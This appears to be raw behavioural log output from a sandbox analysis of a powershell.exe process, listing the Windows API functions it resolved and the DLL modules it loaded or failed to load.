(UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiNotify (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00001412)2a:Tb59,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135]2b:T28d5,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 3ae00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 3ae00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 3ae00000 "powershell.exe" loaded module "KERNEL32" at base 3c920000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 6e30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 38360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 38d30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 21020000 "powershell.exe" loaded module "KERNEL32.DLL" at base 3c920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 34a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 39cf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 3b620000 "powershell.exe" loaded module "RPCRT4.DLL" at base 3cab0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 2c5e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\TASKFLOWDATAENGINE.DLL" at base 1e3f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECORECOMMONPROXYSTUB.DLL" at base 265e0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 3ca00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 8180000 "powershell.exe" loaded module "SHLWAPI.DLL" at base a2390000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 39d80000 "powershell.exe" loaded module "VERSION.DLL" at base 30250000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base f9680000 "powershell.exe" loaded module "USER32.DLL" at base 3bf40000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 3ae00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 8220000 "powershell.exe" loaded module "NTDLL" at base 3d910000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 3b7c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base f80c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 3bb70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 3b7c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 3bd10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base f74a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base f6a10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 3ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base f4990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 3b7c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 3b7c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 3d910000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 3b750000 "powershell.exe" loaded module "SHELL32.DLL" at base 3cd80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 2ccb0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 3b6a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 3b390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 30250000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 2cc10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MW7WSIXR.DLL" at base 6ea0000 "powershell.exe" loaded module "WLDP.DLL" at base 3a520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 3f50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 1610000 "powershell.exe" loaded module "CRYPT32.DLL" at base 3b390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 30fc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base ba0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 76e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 57c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 21620000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base f40e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base f3750000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base f33e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base a60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 3a610000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 3ae00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base f32b0000 "powershell.exe" loaded module 